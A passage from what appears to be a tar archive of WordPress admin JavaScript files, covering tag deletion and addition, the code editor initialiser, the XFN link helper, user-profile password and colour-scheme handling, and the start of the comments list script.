nextFocus.length < 1 && prevFocus.length < 1 ) { nextFocus = $( '#tag-name' ).trigger( 'focus' ); } else { if ( nextFocus.length < 1 ) { nextFocus = prevFocus; } } tr.fadeOut('normal', function(){ tr.remove(); }); /** * Removes the term from the parent box and the tag cloud. * * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable. * This term ID is then used to select the relevant HTML elements: * The parent box and the tag cloud. */ $('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove(); $('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove(); nextFocus.trigger( 'focus' ); message = wp.i18n.__( 'The selected tag has been deleted.' ); } else if ( '-1' == r ) { message = wp.i18n.__( 'Sorry, you are not allowed to do that.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } else { message = wp.i18n.__( 'An error occurred while processing your request. Please try again later.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } wp.a11y.speak( message, 'assertive' ); }); } return false; }); /** * Restores the original UI state of a table row after an AJAX failure. * * @param {jQuery} tr The table row to reset. * @return {void} */ function resetRowAfterFailure( tr ) { tr.children().css( 'backgroundColor', '' ); tr.css( 'pointer-events', '' ); tr.find( ':input, a' ).prop( 'disabled', false ).removeAttr( 'tabindex' ); } /** * Adds a deletion confirmation when removing a tag. * * @since 4.8.0 * * @return {void} */ $( '#edittag' ).on( 'click', '.delete', function( e ) { if ( 'undefined' === typeof showNotice ) { return true; } // Confirms the deletion, a negative response means the deletion must not be executed. var response = showNotice.warn(); if ( ! response ) { e.preventDefault(); } }); /** * Adds an event handler to the form submit on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $('#submit').on( 'click', function(){ var form = $(this).parents('form'); if ( addingTerm ) { // If we're adding a term, noop the button to avoid duplicate requests. return false; } addingTerm = true; form.find( '.submit .spinner' ).addClass( 'is-active' ); /** * Does a request to the server to add a new term to the database * * @param {string} r The response from the server. * * @return {void} */ $.post(ajaxurl, $('#addtag').serialize(), function(r){ var res, parent, term, indent, i; addingTerm = false; form.find( '.submit .spinner' ).removeClass( 'is-active' ); $('#ajax-response').empty(); res = wpAjax.parseAjaxResponse( r, 'ajax-response' ); if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) { validateForm( form ); } if ( ! res || res.errors ) { return; } parent = form.find( 'select#parent' ).val(); // If the parent exists on this page, insert it below. Else insert it at the top of the list. if ( parent > 0 && $('#tag-' + parent ).length > 0 ) { // As the parent exists, insert the version with - - - prefixed. $( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents ); } else { // As the parent is not visible, insert the version with Parent - Child - ThisTerm. $( '.tags' ).prepend( res.responses[0].supplemental.parents ); } $('.tags .no-items').remove(); if ( form.find('select#parent') ) { // Parents field exists, Add new term to the list. term = res.responses[1].supplemental; // Create an indent for the Parent field. indent = ''; for ( i = 0; i < res.responses[1].position; i++ ) indent += ' '; form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' ); } $('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val(''); }); return false; }); }); js/code-editor.min.js 0000644 00000006727 15233246127 0010517 0 ustar 00 /*! This file is auto-generated */ void 0===window.wp&&(window.wp={}),void 0===window.wp.codeEditor&&(window.wp.codeEditor={}),function(u,c){"use strict";function d(r){let s=[],a=[];function c(t){r.onUpdateErrorNotice&&!_.isEqual(s,a)&&(r.onUpdateErrorNotice(s,t),a=s)}function d(){let t=r.codemirror?.lint??!1;if(!t)return!1;!0===t?t={}:_.isObject(t)&&(t=u.extend({},t));var i,e=t;return"javascript"===r.codemirror?.mode&&r.jshint&&u.extend(e,r.jshint),"css"===r.codemirror?.mode&&r.csslint&&u.extend(e,r.csslint),"htmlmixed"===r.codemirror?.mode&&r.htmlhint&&(e.rules=u.extend({},r.htmlhint),r.jshint&&e.rules&&(e.rules.jshint=r.jshint),r.csslint)&&e.rules&&(e.rules.csslint=r.csslint),e.onUpdateLinting=(i=e.onUpdateLinting,function(t,e,n){var o=t.filter(function(t){return"error"===t.severity});i&&i(t,e,n),!_.isEqual(o,s)&&(s=o,r.onChangeLintingErrors&&r.onChangeLintingErrors(o,t,e,n),!n.state.focused||0===s.length||0<a.length)&&c(n)}),e}return{getLintOptions:d,init:function(i){i.on("optionChange",function(t,e){var n,o="CodeMirror-lint-markers";"lint"===e&&(e=i.getOption("gutters")||[],!0===(n=i.getOption("lint"))?(_.contains(e,o)||i.setOption("gutters",[o].concat(e)),i.setOption("lint",d())):n||i.setOption("gutters",_.without(e,o)),i.getOption("lint")&&i.performLint?i.performLint():(s=[],c(i)))}),i.on("blur",c),i.on("startCompletion",function(){i.off("blur",c)}),i.on("endCompletion",function(){i.on("blur",c),_.delay(function(){i.state.focused||c(i)},500)}),u(document.body).on("mousedown",function(t){!i.state.focused||i.getWrapperElement().contains(t.target)||t.target.classList.contains("CodeMirror-hint")||c(i)})},updateErrorNotice:c}}c.codeEditor.defaultSettings={codemirror:{},csslint:{},htmlhint:{},jshint:{},onTabNext:function(){},onTabPrevious:function(){},onChangeLintingErrors:function(){},onUpdateErrorNotice:function(){}},c.codeEditor.initialize=function(t,e){"loading"===document.readyState&&console.warn("wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.");let n;n=u("string"==typeof t?"#"+t:t);t=u.extend(!0,{},c.codeEditor.defaultSettings,e);const o=d(t),s=(t.codemirror&&(t.codemirror.lint=o.getLintOptions()),c.CodeMirror.fromTextArea(n[0],t.codemirror));o.init(s);e={settings:t,codemirror:s,updateErrorNotice:function(){o.updateErrorNotice(s)}};s.showHint&&s.on("inputRead",function(t,e){if(e.origin&&("+input"===e.origin||e.origin.startsWith("*compose"))&&1===e.text.length&&1===e.text[0].length){var e=e.text[0],n=/^[a-zA-Z]$/.test(e);if(!s.state.completionActive||!n){var o=s.getTokenAt(s.getCursor());if("string"!==o.type&&"comment"!==o.type){var i=c.CodeMirror.innerMode(s.getMode(),o.state).mode.name,r=s.getDoc(),r=r.getLine(r.getCursor().line).slice(0,r.getCursor().ch);let t=!1;"html"===i||"xml"===i?t="<"===e||"/"===e&&"tag"===o.type||n&&"tag"===o.type||n&&"attribute"===o.type||"="===e&&!(!o.state.htmlState?.tagName&&!o.state.curState?.htmlState?.tagName):"css"===i?t=n||":"===e||" "===e&&/:\s+$/.test(r):"javascript"===i?t=n||"."===e:"clike"===i&&"php"===s.options.mode&&(t=n&&("keyword"===o.type||"variable"===o.type)),t&&s.showHint({completeSingle:!1})}}}});{var i=s,r=t;const a=u(i.getTextArea());i.on("blur",function(){a.data("next-tab-blurs",!1)}),i.on("keydown",function(t,e){"Escape"===e.key?a.data("next-tab-blurs",!0):"Tab"===e.key&&a.data("next-tab-blurs")&&(e.shiftKey&&r.onTabPrevious?r.onTabPrevious(i,e):!e.shiftKey&&r.onTabNext&&r.onTabNext(i,e),a.data("next-tab-blurs",!1),e.preventDefault())})}return e}}(jQuery,window.wp); js/xfn.js 0000644 00000001344 15233246127 0006320 0 ustar 00 /** * Generates the XHTML Friends Network 'rel' string from the inputs. * * @deprecated 3.5.0 * @output wp-admin/js/xfn.js */ jQuery( function( $ ) { $( '#link_rel' ).prop( 'readonly', true ); $( '#linkxfndiv input' ).on( 'click keyup', function() { var isMe = $( '#me' ).is( ':checked' ), inputs = ''; $( 'input.valinp' ).each( function() { if ( isMe ) { $( this ).prop( 'disabled', true ).parent().addClass( 'disabled' ); } else { $( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' ); if ( $( this ).is( ':checked' ) && $( this ).val() !== '') { inputs += $( this ).val() + ' '; } } }); $( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) ); }); }); js/user-profile.js 0000644 00000043647 15233246127 0010155 0 ustar 00 /** * @output wp-admin/js/user-profile.js */ /* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */ (function($) { var updateLock = false, isSubmitting = false, __ = wp.i18n.__, clipboard = new ClipboardJS( '.application-password-display .copy-button' ), $pass1Row, $pass1, $pass2, $weakRow, $weakCheckbox, $toggleButton, $submitButtons, $submitButton, currentPass, $form, originalFormContent, $passwordWrapper, successTimeout, isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, ua = navigator.userAgent.toLowerCase(), isSafari = window.safari !== 'undefined' && typeof window.safari === 'object', isFirefox = ua.indexOf( 'firefox' ) !== -1; function generatePassword() { if ( typeof zxcvbn !== 'function' ) { setTimeout( generatePassword, 50 ); return; } else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) { // zxcvbn loaded before user entered password, or generating new password. $pass1.val( $pass1.data( 'pw' ) ); $pass1.trigger( 'pwupdate' ); showOrHideWeakPasswordCheckbox(); } else { // zxcvbn loaded after the user entered password, check strength. check_pass_strength(); showOrHideWeakPasswordCheckbox(); } /* * This works around a race condition when zxcvbn loads quickly and * causes `generatePassword()` to run prior to the toggle button being * bound. */ bindToggleButton(); // Install screen. if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) { // Show the password not masked if admin_password hasn't been posted yet. $pass1.attr( 'type', 'text' ); } else { // Otherwise, mask the password. $toggleButton.trigger( 'click' ); } // Once zxcvbn loads, passwords strength is known. $( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) ); // Focus the password field if not the install screen. if ( 'mailserver_pass' !== $pass1.prop('id' ) && ! $('#weblog_title').length ) { $( $pass1 ).trigger( 'focus' ); } } function bindPass1() { currentPass = $pass1.val(); if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) { generatePassword(); } $pass1.on( 'input' + ' pwupdate', function () { if ( $pass1.val() === currentPass ) { return; } currentPass = $pass1.val(); // Refresh password strength area. $pass1.removeClass( 'short bad good strong' ); showOrHideWeakPasswordCheckbox(); } ); bindCapsLockWarning( $pass1 ); } function resetToggle( show ) { $toggleButton .attr({ 'aria-label': show ? __( 'Show password' ) : __( 'Hide password' ) }) .find( '.text' ) .text( show ? __( 'Show' ) : __( 'Hide' ) ) .end() .find( '.dashicons' ) .removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' ) .addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' ); } function bindToggleButton() { if ( !! $toggleButton ) { // Do not rebind. return; } $toggleButton = $pass1Row.find('.wp-hide-pw'); // Toggle between showing and hiding the password. $toggleButton.show().on( 'click', function () { if ( 'password' === $pass1.attr( 'type' ) ) { $pass1.attr( 'type', 'text' ); resetToggle( false ); } else { $pass1.attr( 'type', 'password' ); resetToggle( true ); } }); // Ensure the password input type is set to password when the form is submitted. $pass1Row.closest( 'form' ).on( 'submit', function() { if ( $pass1.attr( 'type' ) === 'text' ) { $pass1.attr( 'type', 'password' ); resetToggle( true ); } } ); } /** * Handle the password reset button. Sets up an ajax callback to trigger sending * a password reset email. */ function bindPasswordResetLink() { $( '#generate-reset-link' ).on( 'click', function() { var $this = $(this), data = { 'user_id': userProfileL10n.user_id, // The user to send a reset to. 'nonce': userProfileL10n.nonce // Nonce to validate the action. }; // Remove any previous error messages. $this.parent().find( '.notice-error' ).remove(); // Send the reset request. var resetAction = wp.ajax.post( 'send-password-reset', data ); // Handle reset success. resetAction.done( function( response ) { addInlineNotice( $this, true, response ); } ); // Handle reset failure. resetAction.fail( function( response ) { addInlineNotice( $this, false, response ); } ); }); } /** * Helper function to insert an inline notice of success or failure. * * @param {jQuery Object} $this The button element: the message will be inserted * above this button * @param {bool} success Whether the message is a success message. * @param {string} message The message to insert. */ function addInlineNotice( $this, success, message ) { var resultDiv = $( '<div />', { role: 'alert' } ); // Set up the notice div. resultDiv.addClass( 'notice inline' ); // Add a class indicating success or failure. resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) ); // Add the message, wrapping in a p tag, with a fadein to highlight each message. resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />'); // Disable the button when the callback has succeeded. $this.prop( 'disabled', success ); // Remove any previous notices. $this.siblings( '.notice' ).remove(); // Insert the notice. $this.before( resultDiv ); } function bindPasswordForm() { var $generateButton, $cancelButton; $pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' ); // Hide the confirm password field when JavaScript support is enabled. $('.user-pass2-wrap').hide(); $submitButton = $( '#submit, #wp-submit' ).on( 'click', function () { updateLock = false; }); $submitButtons = $submitButton.add( ' #createusersub' ); $weakRow = $( '.pw-weak' ); $weakCheckbox = $weakRow.find( '.pw-checkbox' ); $weakCheckbox.on( 'change', function() { $submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) ); } ); $pass1 = $('#pass1, #mailserver_pass'); if ( $pass1.length ) { bindPass1(); } else { // Password field for the login form. $pass1 = $( '#user_pass' ); bindCapsLockWarning( $pass1 ); } /* * Fix a LastPass mismatch issue, LastPass only changes pass2. * * This fixes the issue by copying any changes from the hidden * pass2 field to the pass1 field, then running check_pass_strength. */ $pass2 = $( '#pass2' ).on( 'input', function () { if ( $pass2.val().length > 0 ) { $pass1.val( $pass2.val() ); $pass2.val(''); currentPass = ''; $pass1.trigger( 'pwupdate' ); } } ); // Disable hidden inputs to prevent autofill and submission. if ( $pass1.is( ':hidden' ) ) { $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); } $passwordWrapper = $pass1Row.find( '.wp-pwd' ); $generateButton = $pass1Row.find( 'button.wp-generate-pw' ); bindToggleButton(); $generateButton.show(); $generateButton.on( 'click', function () { updateLock = true; // Make sure the password fields are shown. $generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' ); $passwordWrapper .show() .addClass( 'is-open' ); // Enable the inputs when showing. $pass1.attr( 'disabled', false ); $pass2.attr( 'disabled', false ); // Set the password to the generated value. generatePassword(); // Show generated password in plaintext by default. resetToggle ( false ); // Generate the next password and cache. wp.ajax.post( 'generate-password' ) .done( function( data ) { $pass1.data( 'pw', data ); } ); } ); $cancelButton = $pass1Row.find( 'button.wp-cancel-pw' ); $cancelButton.on( 'click', function () { updateLock = false; // Disable the inputs when hiding to prevent autofill and submission. $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); // Clear password field and update the UI. $pass1.val( '' ).trigger( 'pwupdate' ); resetToggle( false ); // Hide password controls. $passwordWrapper .hide() .removeClass( 'is-open' ); // Stop an empty password from being submitted as a change. $submitButtons.prop( 'disabled', false ); $generateButton.attr( 'aria-expanded', 'false' ); } ); $pass1Row.closest( 'form' ).on( 'submit', function () { updateLock = false; $pass1.prop( 'disabled', false ); $pass2.prop( 'disabled', false ); $pass2.val( $pass1.val() ); }); } function check_pass_strength() { var pass1 = $('#pass1').val(), strength; $('#pass-strength-result').removeClass('short bad good strong empty'); if ( ! pass1 || '' === pass1.trim() ) { $( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' ); return; } strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 ); switch ( strength ) { case -1: $( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown ); break; case 2: $('#pass-strength-result').addClass('bad').html( pwsL10n.bad ); break; case 3: $('#pass-strength-result').addClass('good').html( pwsL10n.good ); break; case 4: $('#pass-strength-result').addClass('strong').html( pwsL10n.strong ); break; case 5: $('#pass-strength-result').addClass('short').html( pwsL10n.mismatch ); break; default: $('#pass-strength-result').addClass('short').html( pwsL10n.short ); } } /** * Bind Caps Lock detection to a password input field. * * @param {jQuery} $input The password input field. */ function bindCapsLockWarning( $input ) { var $capsWarning, $capsIcon, $capsText, capsLockOn = false; // Skip warning on macOS Safari + Firefox (they show native indicators). if ( isMac && ( isSafari || isFirefox ) ) { return; } $capsWarning = $( '<div id="caps-warning" class="caps-warning"></div>' ); $capsIcon = $( '<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>' ); $capsText = $( '<span>', { 'class': 'caps-warning-text', text: __( 'Caps lock is on.' ) } ); $capsWarning.append( $capsIcon, $capsText ); $input.parent( 'div' ).append( $capsWarning ); $input.on( 'keydown', function( jqEvent ) { var event = jqEvent.originalEvent; // Skip if key is not a printable character. // Key length > 1 usually means non-printable (e.g., "Enter", "Tab"). if ( event.ctrlKey || event.metaKey || event.altKey || ! event.key || event.key.length !== 1 ) { return; } var state = isCapsLockOn( event ); // React when the state changes or if caps lock is on when the user starts typing. if ( state !== capsLockOn ) { capsLockOn = state; if ( capsLockOn ) { $capsWarning.show(); // Don't duplicate existing screen reader Caps lock notifications. if ( event.key !== 'CapsLock' ) { wp.a11y.speak( __( 'Caps lock is on.' ), 'assertive' ); } } else { $capsWarning.hide(); } } } ); $input.on( 'blur', function() { if ( ! document.hasFocus() ) { return; } capsLockOn = false; $capsWarning.hide(); } ); } /** * Determines if Caps Lock is currently enabled. * * On macOS Safari and Firefox, the native warning is preferred, * so this function returns false to suppress custom warnings. * * @param {KeyboardEvent} e The keydown event object. * * @return {boolean} True if Caps Lock is on, false otherwise. */ function isCapsLockOn( event ) { return event.getModifierState( 'CapsLock' ); } function showOrHideWeakPasswordCheckbox() { var passStrengthResult = $('#pass-strength-result'); if ( passStrengthResult.length ) { var passStrength = passStrengthResult[0]; if ( passStrength.className ) { $pass1.addClass( passStrength.className ); if ( $( passStrength ).is( '.short, .bad' ) ) { if ( ! $weakCheckbox.prop( 'checked' ) ) { $submitButtons.prop( 'disabled', true ); } $weakRow.show(); } else { if ( $( passStrength ).is( '.empty' ) ) { $submitButtons.prop( 'disabled', true ); $weakCheckbox.prop( 'checked', false ); } else { $submitButtons.prop( 'disabled', false ); } $weakRow.hide(); } } } } // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( '.application-password-display' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) ); } ); $( function() { var $colorpicker, $stylesheet, user_id, current_user_id, select = $( '#display_name' ), current_name = select.val(), greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' ); $( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength ); $('#pass-strength-result').show(); $('.color-palette').on( 'click', function() { $(this).siblings('input[name="admin_color"]').prop('checked', true); }); if ( select.length ) { $('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() { var dub = [], inputs = { display_nickname : $('#nickname').val() || '', display_username : $('#user_login').val() || '', display_firstname : $('#first_name').val() || '', display_lastname : $('#last_name').val() || '' }; if ( inputs.display_firstname && inputs.display_lastname ) { inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname; inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname; } $.each( $('option', select), function( i, el ){ dub.push( el.value ); }); $.each(inputs, function( id, value ) { if ( ! value ) { return; } var val = value.replace(/<\/?[a-z][^>]*>/gi, ''); if ( inputs[id].length && $.inArray( val, dub ) === -1 ) { dub.push(val); $('<option />', { 'text': val }).appendTo( select ); } }); }); /** * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile. */ select.on( 'change', function() { if ( user_id !== current_user_id ) { return; } var display_name = this.value.trim() || current_name; greeting.text( display_name ); } ); } $colorpicker = $( '#color-picker' ); $stylesheet = $( '#colors-css' ); user_id = $( 'input#user_id' ).val(); current_user_id = $( 'input[name="checkuser_id"]' ).val(); $colorpicker.on( 'click.colorpicker', '.color-option', function() { var colors, $this = $(this); if ( $this.hasClass( 'selected' ) ) { return; } $this.siblings( '.selected' ).removeClass( 'selected' ); $this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true ); // Set color scheme. if ( user_id === current_user_id ) { // Load the colors stylesheet. // The default color scheme won't have one, so we'll need to create an element. if ( 0 === $stylesheet.length ) { $stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' ); } $stylesheet.attr( 'href', $this.children( '.css_url' ).val() ); // Repaint icons. if ( typeof wp !== 'undefined' && wp.svgPainter ) { try { colors = JSON.parse( $this.children( '.icon_colors' ).val() ); } catch ( error ) {} if ( colors ) { wp.svgPainter.setColors( colors ); wp.svgPainter.paint(); } } // Update user option. $.post( ajaxurl, { action: 'save-user-color-scheme', color_scheme: $this.children( 'input[name="admin_color"]' ).val(), nonce: $('#color-nonce').val() }).done( function( response ) { if ( response.success ) { $( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme ); } }); } }); bindPasswordForm(); bindPasswordResetLink(); $submitButtons.on( 'click', function() { isSubmitting = true; }); $form = $( '#your-profile, #createuser' ); originalFormContent = $form.serialize(); }); $( '#destroy-sessions' ).on( 'click', function( e ) { var $this = $(this); wp.ajax.post( 'destroy-sessions', { nonce: $( '#_wpnonce' ).val(), user_id: $( '#user_id' ).val() }).done( function( response ) { $this.prop( 'disabled', true ); $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' ); }).fail( function( response ) { $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' ); }); e.preventDefault(); }); window.generatePassword = generatePassword; // Warn the user if password was generated but not saved. $( window ).on( 'beforeunload', function () { if ( true === updateLock ) { return __( 'Your new password has not been saved.' ); } if ( originalFormContent !== $form.serialize() && ! isSubmitting ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } }); /* * We need to generate a password as soon as the Reset Password page is loaded, * to avoid double clicking the button to retrieve the first generated password. * See ticket #39638. */ $( function() { if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); } }); })(jQuery); js/edit-comments.min.js 0000644 00000036233 15233246127 0011064 0 ustar 00 /*! This file is auto-generated */ !function(w){var o,s,i=document.title,C=w("#dashboard_right_now").length,c=wp.i18n.__,d=wp.i18n._x,x=function(t){t=parseInt(t.html().replace(/[^0-9]+/g,""),10);return isNaN(t)?0:t},r=function(t,e){var n="";if(!isNaN(e)){if(3<(e=e<1?"0":e.toString()).length){for(;3<e.length;)n=thousandsSeparator+e.substr(e.length-3)+n,e=e.substr(0,e.length-3);e+=n}t.html(e)}},b=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-comments",o="comment-count-approved";k("span.approved-count",n),t&&(t=w("span."+o,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?t.removeClass(o).addClass(a):t.addClass(o).removeClass(a),r(t,e)}),e.each(function(){var t=w(this);0<n?t.removeClass(a).addClass(o):t.addClass(a).removeClass(o),r(t,n)}))},k=function(t,n){w(t).each(function(){var t=w(this),e=x(t)+n;r(t,e=e<1?0:e)})},E=function(t){C&&t&&t.i18n_comments_text&&w(".comment-count a","#dashboard_right_now").text(t.i18n_comments_text)},R=function(t){t&&t.i18n_moderation_text&&(w(".comments-in-moderation-text").text(t.i18n_moderation_text),C)&&t.in_moderation&&w(".comment-mod-count","#dashboard_right_now")[0<t.in_moderation?"removeClass":"addClass"]("hidden")},l=function(t){var e,n,a;s=s||new RegExp(c("Comments (%s)").replace("%s","\\([0-9"+thousandsSeparator+"]+\\)")+"?"),o=o||w("<div />"),e=i,1<=(a=(a=s.exec(document.title))?(a=a[0],o.html(a),x(o)+t):(o.html(0),t))?(r(o,a),(n=s.exec(document.title))&&(e=document.title.replace(n[0],c("Comments (%s)").replace("%s",o.text())+" "))):(n=s.exec(e))&&(e=e.replace(n[0],c("Comments"))),document.title=e},I=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-pending",o="post-com-count-no-pending",s="comment-count-pending";C||l(n),w("span.pending-count").each(function(){var t=w(this),e=x(t)+n;e<1&&(e=0),t.closest(".awaiting-mod")[0===e?"addClass":"removeClass"]("count-0"),r(t,e)}),t&&(t=w("span."+s,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?(t.parent().addClass(o),t.removeClass(s).addClass(a)):(t.parent().removeClass(o),t.addClass(s).removeClass(a)),r(t,e)}),e.each(function(){var t=w(this);0<n?(t.parent().removeClass(o),t.removeClass(a).addClass(s)):(t.parent().addClass(o),t.addClass(a).removeClass(s)),r(t,n)}))};window.setCommentsList=function(){var i,v=0,g=w('input[name="_total"]',"#comments-form"),l=w('input[name="_per_page"]',"#comments-form"),p=w('input[name="_page"]',"#comments-form"),y=function(t,e,n){e<v||(n&&(v=e),g.val(t.toString()))},t=function(t,e){var n,a,o,s=w("#"+e.element);!0!==e.parsed&&(o=e.parsed.responses[0]),a=w("#replyrow"),n=w("#comment_ID",a).val(),a=w("#replybtn",a),s.is(".unapproved")?(e.data.id==n&&a.text(c("Approve and Reply")),s.find(".row-actions span.view").addClass("hidden").end().find("div.comment_status").html("0")):(e.data.id==n&&a.text(d("Reply","verb")),s.find(".row-actions span.view").removeClass("hidden").end().find("div.comment_status").html("1")),i=w("#"+e.element).is("."+e.dimClass)?1:-1,o?(E(o.supplemental),R(o.supplemental),I(i,o.supplemental.postId),b(-1*i,o.supplemental.postId)):(I(i),b(-1*i))},e=function(t,e){var n,a,o,s,i=!1,r=w(t.target).attr("data-wp-lists");return t.data._total=g.val()||0,t.data._per_page=l.val()||0,t.data._page=p.val()||0,t.data._url=document.location.href,t.data.comment_status=w('input[name="comment_status"]',"#comments-form").val(),-1!=r.indexOf(":trash=1")?i="trash":-1!=r.indexOf(":spam=1")&&(i="spam"),i&&(n=r.replace(/.*?comment-([0-9]+).*/,"$1"),r=w("#comment-"+n),o=w("#"+i+"-undo-holder").html(),r.find(".check-column :checkbox").prop("checked",!1),r.siblings("#replyrow").length&&commentReply.cid==n&&commentReply.close(),a=r.is("tr")?(a=r.children(":visible").length,s=w(".author strong",r).text(),w('<tr id="undo-'+n+'" class="undo un'+i+'" style="display:none;"><td colspan="'+a+'">'+o+"</td></tr>")):(s=w(".comment-author",r).text(),w('<div id="undo-'+n+'" style="display:none;" class="undo un'+i+'">'+o+"</div>")),r.before(a),w("strong","#undo-"+n).text(s),(o=w(".undo a","#undo-"+n)).attr("href","comment.php?action=un"+i+"comment&c="+n+"&_wpnonce="+t.data._ajax_nonce),o.attr("data-wp-lists","delete:the-comment-list:comment-"+n+"::un"+i+"=1"),o.attr("class","vim-z vim-destructive aria-button-if-js"),w(".avatar",r).first().clone().prependTo("#undo-"+n+" ."+i+"-undo-inside"),o.on("click",function(t){t.preventDefault(),t.stopPropagation(),e.wpList.del(this),w("#undo-"+n).css({backgroundColor:"#ceb"}).fadeOut(350,function(){w(this).remove(),w("#comment-"+n).css("backgroundColor","").fadeIn(300,function(){w(this).show()})})})),t},n=function(t,e){var n,a,o,s,i=!0===e.parsed?{}:e.parsed.responses[0],r=!0===e.parsed?"":i.supplemental.status,l=!0===e.parsed?"":i.supplemental.postId,p=!0===e.parsed?"":i.supplemental,c=w(e.target).parent(),d=w("#"+e.element),m=d.hasClass("approved")&&!d.hasClass("unapproved"),u=d.hasClass("unapproved"),h=d.hasClass("spam"),d=d.hasClass("trash"),f=!1;E(p),R(p),c.is("span.undo")?(c.hasClass("unspam")?(n=-1,"trash"===r?a=1:"1"===r?s=1:"0"===r&&(o=1)):c.hasClass("untrash")&&(a=-1,"spam"===r?n=1:"1"===r?s=1:"0"===r&&(o=1)),f=!0):c.is("span.spam")?(m?s=-1:u?o=-1:d&&(a=-1),n=1):c.is("span.unspam")?(m?o=1:u?s=1:(d||h)&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),n=-1):c.is("span.trash")?(m?s=-1:u?o=-1:h&&(n=-1),a=1):c.is("span.untrash")?(m?o=1:u?s=1:d&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),a=-1):c.is("span.approve:not(.unspam):not(.untrash)")?o=-(s=1):c.is("span.unapprove:not(.unspam):not(.untrash)")?(s=-1,o=1):c.is("span.delete")&&(h?n=-1:d&&(a=-1)),o&&(I(o,l),k("span.all-count",o)),s&&(b(s,l),k("span.all-count",s)),n&&k("span.spam-count",n),a&&k("span.trash-count",a),("trash"===e.data.comment_status&&!x(w("span.trash-count"))||"spam"===e.data.comment_status&&!x(w("span.spam-count")))&&w("#delete_all").hide(),C||(p=g.val()?parseInt(g.val(),10):0,w(e.target).parent().is("span.undo")?p++:p--,p<0&&(p=0),"object"==typeof t?i.supplemental.total_items_i18n&&v<i.supplemental.time?((r=i.supplemental.total_items_i18n||"")&&(w(".displaying-num").text(r.replace(" ",String.fromCharCode(160))),w(".total-pages").text(i.supplemental.total_pages_i18n.replace(" ",String.fromCharCode(160))),w(".tablenav-pages").find(".next-page, .last-page").toggleClass("disabled",i.supplemental.total_pages==w(".current-page").val())),y(p,i.supplemental.time,!0)):i.supplemental.time&&y(p,i.supplemental.time,!1):y(p,t,!1)),theExtraList&&0!==theExtraList.length&&0!==theExtraList.children().length&&!f&&(theList.get(0).wpList.add(theExtraList.children(":eq(0):not(.no-items)").remove().clone()),_(),m=function(){w("#the-comment-list 